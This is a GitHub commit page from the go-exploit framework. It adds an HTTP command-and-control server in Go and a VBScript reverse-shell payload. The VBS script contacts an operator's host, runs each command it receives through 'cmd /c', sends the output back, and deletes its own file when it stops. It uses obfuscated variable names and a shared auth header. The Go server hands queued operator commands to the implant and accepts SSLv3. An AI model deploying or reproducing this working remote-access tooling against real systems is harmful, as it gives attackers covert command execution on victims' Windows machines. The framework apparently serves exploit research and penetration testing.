Skip to content

Commit 00413c4

Browse files
authored
Merge pull request #357 from lobsterjerusalem/httpshellserver
Adding a new HTTP-based C2 and compatible VBS payload
2 parents 8e72b77 + d98a071 commit 00413c4

File tree

5 files changed

+290
-1
lines changed

5 files changed

+290
-1
lines changed

c2/factory.go

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"github.com/vulncheck-oss/go-exploit/c2/external"
66
"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
77
"github.com/vulncheck-oss/go-exploit/c2/httpserveshell"
8+
"github.com/vulncheck-oss/go-exploit/c2/httpshellserver"
89
"github.com/vulncheck-oss/go-exploit/c2/shelltunnel"
910
"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
1011
"github.com/vulncheck-oss/go-exploit/c2/sslshell"
@@ -37,6 +38,7 @@ const (
3738
HTTPServeShellCategory category = 4
3839
ExternalCategory category = 5
3940
ShellTunnelCategory category = 6
41+
HTTPShellServerCategory category = 7
4042
)
4143

4244
// Simplified names in order to keep the old calling convention and allow
@@ -48,6 +50,7 @@ var (
4850
HTTPServeFile = internalSupported["HTTPServeFile"]
4951
HTTPServeShell = internalSupported["HTTPServeShell"]
5052
ShellTunnel = internalSupported["ShellTunnel"]
53+
HTTPShellServer = internalSupported["HTTPShellServer"]
5154
// We do not want external to be called directly because external
5255
// internally is not useful.
5356
)
@@ -61,6 +64,7 @@ var internalSupported = map[string]Impl{
6164
"SSLShellServer": {Name: "SSLShellServer", Category: SSLShellServerCategory},
6265
"HTTPServeFile": {Name: "HTTPServeFile", Category: HTTPServeFileCategory},
6366
"HTTPServeShell": {Name: "HTTPServeShell", Category: HTTPServeShellCategory},
67+
"HTTPShellServer": {Name: "HTTPShellServer", Category: HTTPShellServerCategory},
6468
// Insure the internal supported External module name is an error if used
6569
// directly.
6670
"External": {Name: "", Category: InvalidCategory},
@@ -103,6 +107,8 @@ func GetInstance(implementation Impl) (Interface, bool) {
103107
if implementation.Name != "" {
104108
return external.GetInstance(implementation.Name), true
105109
}
110+
case HTTPShellServerCategory:
111+
return httpshellserver.GetInstance(), true
106112
case ShellTunnelCategory:
107113
return shelltunnel.GetInstance(), true
108114
case InvalidCategory:
@@ -132,6 +138,8 @@ func CreateFlags(implementation Impl) {
132138
if implementation.Name != "" {
133139
external.GetInstance(implementation.Name).CreateFlags()
134140
}
141+
case HTTPShellServerCategory:
142+
httpshellserver.GetInstance().CreateFlags()
135143
case ShellTunnelCategory:
136144
shelltunnel.GetInstance().CreateFlags()
137145
case InvalidCategory:

c2/httpshellserver/httpshellserver.go

Lines changed: 206 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,206 @@
1+
package httpshellserver
2+
3+
import (
4+
"bufio"
5+
"crypto/tls"
6+
"flag"
7+
"fmt"
8+
"io"
9+
"net/http"
10+
"os"
11+
"strings"
12+
"sync"
13+
"time"
14+
15+
"github.com/vulncheck-oss/go-exploit/c2/channel"
16+
"github.com/vulncheck-oss/go-exploit/encryption"
17+
"github.com/vulncheck-oss/go-exploit/random"
18+
"github.com/vulncheck-oss/go-exploit/output"
19+
)
20+
21+
var (
22+
singleton *Server
23+
cliLock sync.Mutex
24+
commandChan = make(chan string)
25+
lastSeen time.Time
26+
)
27+
28+
type Server struct {
29+
// The HTTP address to bind to
30+
HTTPAddr string
31+
// The HTTP port to bind to
32+
HTTPPort int
33+
// Set to the Server field in HTTP response
34+
ServerField string
35+
// Indicates if TLS should be enabled
36+
TLS bool
37+
// The file path to the user provided private key (if provided)
38+
PrivateKeyFile string
39+
// The file path to the user provided certificate (if provided)
40+
CertificateFile string
41+
// Loaded certificate
42+
Certificate tls.Certificate
43+
// Allows us to track if a connection has been received during the life of the server
44+
Success bool
45+
// Randomly generated during init, gives some sense of security where there is otherwise none.
46+
// This should appear in a header with the name VC-Auth
47+
AuthHeader string
48+
}
49+
50+
// A basic singleton interface for the c2.
51+
func GetInstance() *Server {
52+
if singleton == nil {
53+
singleton = new(Server)
54+
}
55+
56+
return singleton
57+
}
58+
59+
func (httpServer *Server) Init(channel channel.Channel) bool {
60+
httpServer.AuthHeader = random.RandLetters(20)
61+
if channel.IsClient {
62+
output.PrintFrameworkError("Called C2HTTPServer as a client. Use lhost and lport.")
63+
64+
return false
65+
}
66+
67+
switch {
68+
case channel.Port != 0:
69+
httpServer.HTTPAddr = channel.IPAddr
70+
httpServer.HTTPPort = channel.Port
71+
default:
72+
output.PrintFrameworkError("Called HTTPServeFile without specifying a bind port.")
73+
74+
return false
75+
}
76+
77+
if httpServer.TLS {
78+
var ok bool
79+
var err error
80+
if len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {
81+
httpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)
82+
if err != nil {
83+
output.PrintfFrameworkError("Error loading certificate: %s", err.Error())
84+
85+
return false
86+
}
87+
} else {
88+
output.PrintFrameworkStatus("Certificate not provided. Generating a TLS Certificate")
89+
httpServer.Certificate, ok = encryption.GenerateCertificate()
90+
if !ok {
91+
return false
92+
}
93+
}
94+
}
95+
96+
return true
97+
}
98+
99+
// User options for serving a file over HTTP as the "c2".
100+
func (httpServer *Server) CreateFlags() {
101+
flag.StringVar(&httpServer.ServerField, "httpShellServer.ServerField", "Apache", "The value to insert in the HTTP server field")
102+
flag.BoolVar(&httpServer.TLS, "httpShellServer.TLS", false, "Indicates if the HTTP server should use encryption")
103+
flag.StringVar(&httpServer.PrivateKeyFile, "httpShellServer.PrivateKeyFile", "", "A private key to use with the HTTPS server")
104+
flag.StringVar(&httpServer.CertificateFile, "httpShellServer.CertificateFile", "", "The certificate to use with the HTTPS server")
105+
}
106+
107+
// start the HTTP server and listen for incoming requests for `httpServer.FileName`.
108+
//nolint:gocognit
109+
func (httpServer *Server) Run(timeout int) {
110+
http.HandleFunc("/rx", func(writer http.ResponseWriter, req *http.Request) {
111+
authHeader := req.Header.Get("VC-Auth")
112+
if authHeader != httpServer.AuthHeader {
113+
writer.WriteHeader(http.StatusForbidden)
114+
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("VC-Auth"), httpServer.AuthHeader)
115+
116+
return
117+
}
118+
body, _ := io.ReadAll(req.Body)
119+
if strings.TrimSpace(string(body)) != "" {
120+
fmt.Printf("\n%s: %s\n", req.RemoteAddr, string(body))
121+
}
122+
})
123+
124+
http.HandleFunc("/", func(writer http.ResponseWriter, req *http.Request) {
125+
authHeader := req.Header.Get("VC-Auth")
126+
if authHeader != httpServer.AuthHeader {
127+
writer.WriteHeader(http.StatusForbidden)
128+
output.PrintfFrameworkDebug("Auth header mismatch from %s: %s, should be %s", req.RemoteAddr, req.Header.Get("VC-Auth"), httpServer.AuthHeader)
129+
130+
return
131+
}
132+
lastSeen = time.Now()
133+
writer.Header().Set("Server", httpServer.ServerField)
134+
135+
if !httpServer.Success {
136+
go func() {
137+
httpServer.Success = true
138+
output.PrintfSuccess("Received initial connection from %s, entering shell", req.RemoteAddr)
139+
cliLock.Lock()
140+
defer cliLock.Unlock()
141+
for {
142+
elapsed := time.Since(lastSeen)
143+
if elapsed/time.Millisecond > 10000 {
144+
fmt.Printf("last seen: %ds> ", time.Since(lastSeen)/time.Second)
145+
} else {
146+
fmt.Printf("last seen: %dms> ", time.Since(lastSeen)/time.Millisecond)
147+
}
148+
reader := bufio.NewReader(os.Stdin)
149+
command, _ := reader.ReadString('\n')
150+
trimmedCommand := strings.TrimSpace(command)
151+
if trimmedCommand == "help" {
152+
fmt.Printf("Usage:\nType a command and it will be added to the queue to be distributed to the first connection\ntype exit to shut everything down.\n")
153+
154+
continue
155+
}
156+
if trimmedCommand == "exit" {
157+
output.PrintStatus("Exit received, shutting down")
158+
159+
os.Exit(0)
160+
}
161+
if strings.TrimSpace(command) != "" {
162+
commandChan <- strings.TrimSpace(command)
163+
}
164+
}
165+
}()
166+
}
167+
168+
select {
169+
case command := <-commandChan:
170+
writer.WriteHeader(http.StatusOK)
171+
fmt.Fprint(writer, command)
172+
default:
173+
writer.WriteHeader(http.StatusOK)
174+
}
175+
})
176+
177+
connectionString := fmt.Sprintf("%s:%d", httpServer.HTTPAddr, httpServer.HTTPPort)
178+
go func() {
179+
if httpServer.TLS {
180+
output.PrintfFrameworkStatus("Starting an HTTPS server on %s...", connectionString)
181+
tlsConfig := &tls.Config{
182+
Certificates: []tls.Certificate{httpServer.Certificate},
183+
// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.
184+
//nolint
185+
MinVersion: tls.VersionSSL30,
186+
}
187+
server := http.Server {
188+
Addr: connectionString,
189+
TLSConfig: tlsConfig,
190+
// required to disable HTTP/2 according to https://pkg.go.dev/net/http#hdr-HTTP_2
191+
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler),1),
192+
}
193+
defer server.Close()
194+
_ = server.ListenAndServeTLS("", "")
195+
} else {
196+
output.PrintfFrameworkStatus("Starting an HTTP server on %s", connectionString)
197+
_ = http.ListenAndServe(connectionString, nil)
198+
}
199+
}()
200+
201+
// let the server run for timeout seconds
202+
time.Sleep(time.Duration(timeout) * time.Second)
203+
204+
// We don't actually clean up anything, but exiting c2 will eventually terminate the program
205+
output.PrintFrameworkStatus("Shutting down the HTTP Shell Server")
206+
}

payload/reverse/reverse.go

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,10 +37,11 @@ type (
3737
PythonPayload struct{}
3838
TelnetPayload struct{}
3939
GroovyPayload struct{}
40+
VBSHTTPPayload struct{}
4041
)
4142

42-
// Makes the Bash payloads accessible via `reverse.Bash`.
4343
var (
44+
// Example: makes the Bash payloads accessible via `reverse.Bash`.
4445
Bash = &BashPayload{}
4546
GJScript = &GJScriptPayload{}
4647
JJS = &JJSScriptPayload{}
@@ -51,4 +52,5 @@ var (
5152
Python = &PythonPayload{}
5253
Telnet = &TelnetPayload{}
5354
Groovy = &GroovyPayload{}
55+
VBSHTTP = &VBSHTTPPayload{}
5456
)

payload/reverse/vbs.go

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
package reverse
2+
3+
import (
4+
_ "embed"
5+
"fmt"
6+
)
7+
8+
var (
9+
//go:embed vbs/reverse_http.vbs
10+
VBSShell string
11+
)
12+
13+
// Generates a script that can be used to create a reverse shell via vbs (can be run with cscript)
14+
// original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs
15+
func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, authHeader string) string {
16+
if ssl {
17+
return fmt.Sprintf(VBSShell, "https", lhost, lport, authHeader)
18+
}
19+
20+
return fmt.Sprintf(VBSShell, "http", lhost, lport, authHeader)
21+
}

payload/reverse/vbs/reverse_http.vbs

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
Option Explicit
2+
3+
CONST lkasjfo = "%s://%s:%d/"
4+
CONST fowihe = "%s"
5+
6+
Dim xmlHttpReq, shell, execObj, alfkj, break, result, fa
7+
8+
Set shell = CreateObject("WScript.Shell")
9+
10+
break = False
11+
While break <> True
12+
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
13+
xmlHttpReq.Open "GET", lkasjfo, false
14+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
15+
xmlHttpReq.setRequestHeader "VC-Auth", fowihe
16+
xmlHttpReq.Send
17+
18+
If (xmlHttpReq.status <> 200) Then
19+
fa = fa + 1
20+
If fa > 5 Then
21+
break = True
22+
End If
23+
Else
24+
fa = 0
25+
End If
26+
27+
If Trim(xmlHttpReq.responseText) <> "" Then
28+
alfkj = "cmd /c " & Trim(xmlHttpReq.responseText)
29+
30+
If InStr(alfkj, "exit") Then
31+
break = True
32+
Else
33+
Set execObj = shell.Exec(alfkj)
34+
35+
result = ""
36+
Do Until execObj.StdOut.AtEndOfStream
37+
result = result & execObj.StdOut.ReadAll()
38+
Loop
39+
40+
Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP")
41+
xmlHttpReq.Open "POST", lkasjfo & "rx", false
42+
xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2)
43+
xmlHttpReq.setRequestHeader "VC-Auth", fowihe
44+
xmlHttpReq.Send(result)
45+
End If
46+
End If
47+
WScript.Sleep 500
48+
Wend
49+
50+
Set objFSO = CreateObject("Scripting.FileSystemObject")
51+
strScript = Wscript.ScriptFullName
52+
objFSO.DeleteFile(strScript)

0 commit comments

Comments
 (0)